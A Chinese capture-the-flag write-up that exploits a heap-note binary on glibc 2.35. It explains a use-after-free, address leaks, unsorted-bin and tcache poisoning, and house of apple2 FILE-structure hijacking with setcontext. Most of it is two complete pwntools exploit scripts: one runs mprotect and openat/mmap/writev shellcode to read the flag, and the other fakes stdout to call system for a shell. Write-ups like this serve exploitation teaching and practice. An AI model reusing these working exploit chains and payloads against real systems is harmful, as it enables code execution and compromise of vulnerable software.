本篇文章借鉴了很多0psu3战队和官方题解。
题目分析:
漏洞点主要出现在:

这里free了之后,没有清理chunk_addr和 chunk_size chunk_name数组
所以存在UAF
并且write部分还存在信息泄露: 可以借此得到程序栈基址
而且进而借助show功能,还能泄露libc地址
利用Unsortedbin Attack,可以在chunk_addr处写chunk_addr的地址,这样就能实现任意地址读+任意地址写了。
这样子就可以直接:house of apple2 + setcontext
具体操作:
登录的部分:
可以看到是一个换表base64的程序

选择对应的表然后直接就解出来了。(其实多选几个表试一试也能找出来)

结果:

下一步泄露程序栈基址:
这里注意Tcache的优先级比Top chunk的优先级高,会优先进入Tcache 而不是Top chunk。
然后用uaf,则0号堆块就进了unsorted bin了

然后add 一个堆块,使得放入unsorted bin中的chunk0 进入smallbin中,这样unsorted bin中就是空的了。

利用show可以得到libc基址:

在chunk0的数据区域伪造一个小的堆块,然后释放chunk1,这样就能触发malloc consolidate。
注意在Glibc >= 2.29 时要求 *(Target_Addr) 原本的内容必须指向 p(当前的 chunk)。
chunk_addr正好满足,所以可以实现

此时就实现了任意地址写和任意地址读了。

我们考虑打house of apple2 + setcontext
那么我们先覆盖 _IO_list_all:

把_IO_list_all控制为一个bss段的第一个地址
接下来往这个地址里伪造IO_FILE

这样子我们就可以利用_IO_wfile_overflow函数控制程序执行流
-
对
fp的设置如下:_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
然后我们利用magic gadgets实现rdi向rdx的转移

寻找方法为:
用ROPgadget寻找,把结果保存在文本文件'gadgets'中然后Ctrl+F搜索。
bash
ROPgadget --binary <libc.so.name> --only 'pop|ret|leave|mov|call' > gadgets
然后接setcontext实现SROP,控制rsp,然后跳转到利用mmap进行权限设置

然后执行shellcode
shellcode部分:
限制条件为:

利用openat+mmap+writev
-
openat: 打开 flag 文件。rax = 257(SYS_openat)rdi = -100(AT_FDCWD)rsi = "./flag"(文件路径地址)rdx = 0(O_RDONLY)- 执行后
rax会返回文件描述符 (假设是 3)。
-
mmap: 将文件映射到内存。rax = 9(SYS_mmap)rdi = 0(让系统分配地址)rsi = 0x100(映射长度,够读 flag 就行)rdx = 1(PROT_READ)r10 = 1(MAP_PRIVATE)r8 = 3(rax)(上面 openat 返回的 fd)r9 = 0(offset)- 执行后
rax会返回映射内存的基地址 (存储了 flag 的内容)。
-
writev: 将内存中的内容输出到 stdout。-
你需要构造一个 iovec结构体:
cstruct iovec { void *iov_base; // 指向刚才 mmap 出来的地址 (rax) size_t iov_len; // 长度 (0x100) }; -
你需要先在栈上或者可写段把这个结构体拼出来。
-
rax = 20(SYS_writev) -
rdi = 1(STDOUT_FILENO) -
rsi = iovec_struct_addr(指向你构造的结构体) -
rdx = 1(iovcnt,只有 1 个块)
-

EXP:
python
#!/usr/bin/python3
#coding:utf-8
from pwn import *
import sys
import time
import os
import base64
import ctypes
from struct import pack
context.clear(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux','new-window']
global filename,libc,libcname,host,port,e,BreakPoint,p
s = lambda data : p.send(data)
sa = lambda text,data : p.sendafter(text, data)
sl = lambda data : p.sendline(data)
sla = lambda text,data : p.sendlineafter(text, data)
r = lambda num=4096 : p.recv(num)
rl = lambda : p.recvline()
ru = lambda text : p.recvuntil(text)
pr = lambda num=4096 : print(p.recv(num))
inter = lambda : p.interactive()
l32 = lambda : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data : int(data,16)
lg = lambda s, num : p.success('%s -> 0x%x' % (s, num))
class IO_FILE(ctypes.Structure):
_fields_ = [
("_flags", ctypes.c_int), # 0x0
("_IO_read_ptr", ctypes.c_char_p), # 0x8
("_IO_read_end", ctypes.c_char_p), # 0x10
("_IO_read_base", ctypes.c_char_p), # 0x18
("_IO_write_base", ctypes.c_char_p), # 0x20
("_IO_write_ptr", ctypes.c_char_p), # 0x28
("_IO_write_end", ctypes.c_char_p), # 0x30
("_IO_buf_base", ctypes.c_char_p), # 0x38
("_IO_buf_end", ctypes.c_char_p), # 0x40
("_IO_save_base", ctypes.c_char_p), # 0x48
("_IO_backup_base", ctypes.c_char_p), # 0x50
("_IO_save_end", ctypes.c_char_p), # 0x58
("_markers", ctypes.c_void_p), # 0x60
("_chain", ctypes.c_void_p), # 0x68
("_fileno", ctypes.c_int), # 0x70
("_flags2", ctypes.c_int), # 0x74
("_old_offset", ctypes.c_long), # 0x78
("_cur_column", ctypes.c_short), # 0x80
("_vtable_offset", ctypes.c_char), # 0x82
("_shortbuf", ctypes.c_char * 1), # 0x83
("nothing", ctypes.c_char * 4), # 0x84
("_lock", ctypes.c_void_p), # 0x88
("_offset", ctypes.c_void_p), # 0x90
("_codevt", ctypes.c_void_p), # 0x98
("_wide_data", ctypes.c_void_p), # 0xa0
("_freeres_list", ctypes.c_void_p), # 0xa8
("_freeres_buf", ctypes.c_void_p), # 0xb0
("__pad5", ctypes.c_void_p), # 0xb8
("_mode", ctypes.c_int), # 0xc0
("_unused2", ctypes.c_char * 20), # 0xc4
("vtable", ctypes.c_void_p) # 0xd8
]
def __init__(self):
# 将整个结构体内存清零
ctypes.memset(ctypes.addressof(self), 0, ctypes.sizeof(self))
def start():
if args.GDB:
return gdb.debug(e.path, gdbscript = BreakPoint)
elif args.REMOTE:
return remote(host, port)
elif args.DOCKER:
import docker
from os import path
p = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)
idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f"{i} => {v}")
idx = int(input(f"Which one:"))
import tempfile
with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
tmp.write(f'shell rm {tmp.name}\n{gs}')
print(tmp.name)
run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
return p
else:
return process(e.path)
def menu(i):
p.sendlineafter(b"choice:",str(i).encode())
def add(size, name):
menu(1)
p.sendlineafter(b"length:",str(size).encode())
p.sendafter(b"name:", name)
sleep(0.2)
def edit(idx, msg):
menu(2)
p.sendlineafter(b"modify:\n", str(idx).encode())
p.sendafter(b"yourself:",msg)
sleep(0.2)
def delete(idx):
menu(3)
p.sendlineafter(b"remove:\n", str(idx).encode())
sleep(0.2)
def show(idx):
menu(4)
p.sendlineafter(b"view:\n", str(idx).encode())
sleep(0.2)
def uaf(idx):
menu(666)
p.sendlineafter(b"index:\n", str(idx).encode())
sleep(0.2)
def exp():
p.sendlineafter(b"username:",b"r00t")
p.sendlineafter(b"password:",b"p9s3w0r6")
for i in range(9):
add(0x128, b"CCTTFFEERR!!\n") # 0-8
for i in range(8,1,-1):
delete(i)
uaf(0)
elf_address = int(r(6)[::-1].hex(), 16) - 0x51e0
lg("elf_base",elf_address)
add(0x188, b"CCTTFFEERR!!\n")
show(0)
ru("introduction:")
libc.address = int(r(6)[::-1].hex(), 16) - 0x21ace0 - 0x120
lg("libc_addr", libc.address)
lg("_IO_list_all", libc.sym["_IO_list_all"])
target_addr = elf_address + 0x5068
lg("chunk_name",target_addr)
payload = p64(0x0) + p64(0x121) + p64(target_addr - 0x18) + p64(target_addr -0x10)
payload = payload.ljust(0x120,b"\x00")
payload += p64(0x120)
edit(0,payload)
delete(1)
gdb.attach(p)
name_addr_offset = 0x51e0
name_addr_step = 0x10
name_addr_count = 0x10
name_addr = [elf_address + name_addr_offset + name_addr_step * i for i in range(name_addr_count)]
payload = p64(0x0) + p64(0x0) + p64(name_addr[0]) + p64(elf_address + 0x5050) + p64(0x128) + p64(name_addr[1])
edit(0, payload + p64(libc.sym["_IO_list_all"]))
edit(1, p64(elf_address + 0x5310))
edit(0, payload + p64(elf_address + 0x5310) + p64(0x300))
libc_base = libc.address
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
setcontext = libc.sym["setcontext"] + 61
rdi_ret = libc.address + 0x000000000002a3e5
rsi_ret = libc.address + 0x000000000002be51
rsi_ret = libc.address + 0x000000000002be51
ret = libc.address + 0x0000000000029139
rdx_rbx_ret = libc.address + 0x00000000000904a9
fake_addr = elf_address + 0x5310
shellcode = shellcraft.amd64.openat(-100,"./flag",0)
shellcode += shellcraft.amd64.mmap(0,0x100,1,1,'rax',0)
shellcode += f'''
mov rbx, 0x30
sub rsp, 16
mov [rsp], rax
mov [rsp + 8], rbx
''' # 制造iovec结构体
shellcode += shellcraft.amd64.writev(1,'rsp',1)
shellcode = asm(shellcode)
# wide file:
data = flat({
0:{
0x08:fake_addr-0x10,
0x10:setcontext,
0x28:1,
0x30:[rdi_ret,fake_addr&(~0xfff),rsi_ret,0x4000,rdx_rbx_ret,7,0,libc.sym['mprotect'],fake_addr+0x100+0x40],
0x90:fake_addr + 0x30,
0x98:ret,
0xa0:fake_addr + 0x100,
0xd8:_IO_wfile_jumps
},
0x100:{
0x18:0,
0x28:libc_base + 0x167420,
0x30:0,
0x40:shellcode,
0xe0:fake_addr + 0xc0
}
},filler='\0')
edit(1, data)
gdb.attach(p)
menu(5)
inter()
if __name__ == '__main__':
filename = "pwn_patched"
libcname = "/home/kadaduck/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 22551
e = context.binary = ELF(filename)
libc = ELF(libcname)
BreakPoint = '''
b main
set debug-file-directory /home/kadaduck/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/kadaduck/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
'''
p = start()
exp()
解法2:
通过UAF,伪造Tcache链,可以分配得到Tcache_perthread_struct部分
python
add(0x160, b'CCTTFFEERR!!')
add(0x160, b'b')
backdoor(0)
code_base = u64_ex(r(8)) - 0x51E0
set_current_code_base_and_log(code_base)
show(0)
ru(b'\nintroduction:')
heap_base = u64_ex(r(5)) << 12
log_heap_base_addr(heap_base)
add(0x160, b'a')
dele(1)
dele(2)
edit(0, p64(protect_ptr(heap_base + 0x2A0, heap_base + 0x10)))
add(0x160, b'b')
add(0x160, b'c')
控制了Tcache_perthread_struct,也就可以从任意地址分配chunk了。
python
edit(2, fake_tcache({0x120: (1, code_base + 0x5060)})[:0x150])
print(fake_tcache({0x120: (1, code_base + 0x5060)})[:0x150])
add(0x110, b'd')
我们分配一个包含chunk数组的chunk,这样也就实现了任意地址写任意地址读了。
下面先得到libc地址
python
edit(3, p64(code_base + 0x5040) * 2)
# gdb.attach(gift.io)
show(0)
ru(b'\nintroduction:')
libc_base = u64_ex(r(8)) - libc.sym._IO_2_1_stderr_
print(hex(libc_base))
set_current_libc_base_and_log(libc_base)
然后对修改stdout对应的地址,并伪造fake IOFILE:
python
edit(3, p64(code_base + 0x5020) * 2)
fake_IO_FILE = heap_base + 0x2A0
payload = flat(
{
0x0: u64_ex(" sh"),
0x28: libc.sym.system, # function
0x88: heap_base + 0x1000,
0xA0: fake_IO_FILE + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xD0: fake_IO_FILE + 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc.sym._IO_wfile_jumps, # vtable _IO_wfile_jumps-0x48
},
filler=b'\x00',
)
edit(1, payload)
launch_gdb(cmd)
print(libc.sym._IO_wfile_jumps)
gdb.attach(gift.io, 'b *$rebase(0x01996)')
edit(0, p64(fake_IO_FILE))
ia()
这样子的好处是,伪造了stdout结构体,那么当puts时,就会触发这个伪造的stdout进而getshell。就不用依靠exit(0)来刷新IOFILE了,也就没有了沙箱。
EXP
python
#!/usr/bin/env python3
from pwncli import *
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux','new-window']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './pwn_patched')
if local_flag == "remote":
addr = 'node5.buuoj.cn:25083'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libcname = "/home/kadaduck/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
libc = gift.libc = ELF(libc_path:=libcname)
passwd = b'p9s3w0r6'
sla(b'username:', b'r00t')
sla(b'password:', passwd)
IAT = b'Your choice:'
def add(size, data):
sla(IAT, b'1')
sla(b'length', str(size))
sa(b'name', data)
def dele(idx):
sla(IAT, b'3')
sla(b'Which', str(idx))
def edit(idx, data):
sla(IAT, b'2')
sla(b'Which', str(idx))
sla(b'Please briefly introduce yourself:', data)
def show(idx):
sla(IAT, b'4')
sla(b'Which', str(idx))
def backdoor(idx):
sla(IAT, b'666')
sla(b'index:\n', str(idx))
def fake_tcache(size_info):
TCACHE_MAX_BINS = 64
counts = bytearray(TCACHE_MAX_BINS * 2)
entries = bytearray(TCACHE_MAX_BINS * 8)
for size, (count, address) in size_info.items():
bin_index = (size >> 4) - 2
if 0 <= bin_index < TCACHE_MAX_BINS:
counts[bin_index * 2] = min(count, 255)
addr_bytes = struct.pack('<Q', address)
entries[bin_index * 8 : bin_index * 8 + 8] = addr_bytes
tcache_struct = counts + entries
return tcache_struct
cmd = '''
brva 0x1B50
brva 0x1C99
brva 0x1D51
brva 0x1EC0
brva 0x1F9C
set $h = $rebase(0x5060)
c
'''
add(0x160, b'CCTTFFEERR!!')
add(0x160, b'b')
backdoor(0)
code_base = u64_ex(r(8)) - 0x51E0
set_current_code_base_and_log(code_base)
show(0)
ru(b'\nintroduction:')
heap_base = u64_ex(r(5)) << 12
log_heap_base_addr(heap_base)
add(0x160, b'a')
dele(1)
dele(2)
edit(0, p64(protect_ptr(heap_base + 0x2A0, heap_base + 0x10)))
add(0x160, b'b')
add(0x160, b'c')
edit(2, fake_tcache({0x120: (1, code_base + 0x5060)})[:0x150])
print(fake_tcache({0x120: (1, code_base + 0x5060)})[:0x150])
add(0x110, b'd')
edit(3, p64(code_base + 0x5040) * 2)
# gdb.attach(gift.io)
show(0)
ru(b'\nintroduction:')
libc_base = u64_ex(r(8)) - libc.sym._IO_2_1_stderr_
print(hex(libc_base))
set_current_libc_base_and_log(libc_base)
edit(3, p64(code_base + 0x5020) * 2)
fake_IO_FILE = heap_base + 0x2A0
payload = flat(
{
0x0: u64_ex(" sh"),
0x28: libc.sym.system, # function
0x88: heap_base + 0x1000,
0xA0: fake_IO_FILE + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xD0: fake_IO_FILE + 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc.sym._IO_wfile_jumps, # vtable _IO_wfile_jumps-0x48
},
filler=b'\x00',
)
edit(1, payload)
launch_gdb(cmd)
print(libc.sym._IO_wfile_jumps)
gdb.attach(gift.io, 'b *$rebase(0x01996)')
edit(0, p64(fake_IO_FILE))
ia()